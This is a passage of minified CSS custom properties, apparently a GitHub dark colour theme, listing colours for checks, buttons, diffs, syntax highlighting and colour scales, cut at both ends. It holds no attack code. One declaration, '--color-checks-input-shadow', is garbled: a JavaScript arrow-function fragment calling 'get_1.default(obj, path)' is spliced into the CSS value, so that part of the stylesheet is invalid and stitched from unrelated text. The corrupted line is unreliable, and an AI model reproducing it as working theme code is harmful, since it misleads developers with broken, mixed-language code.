#d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: 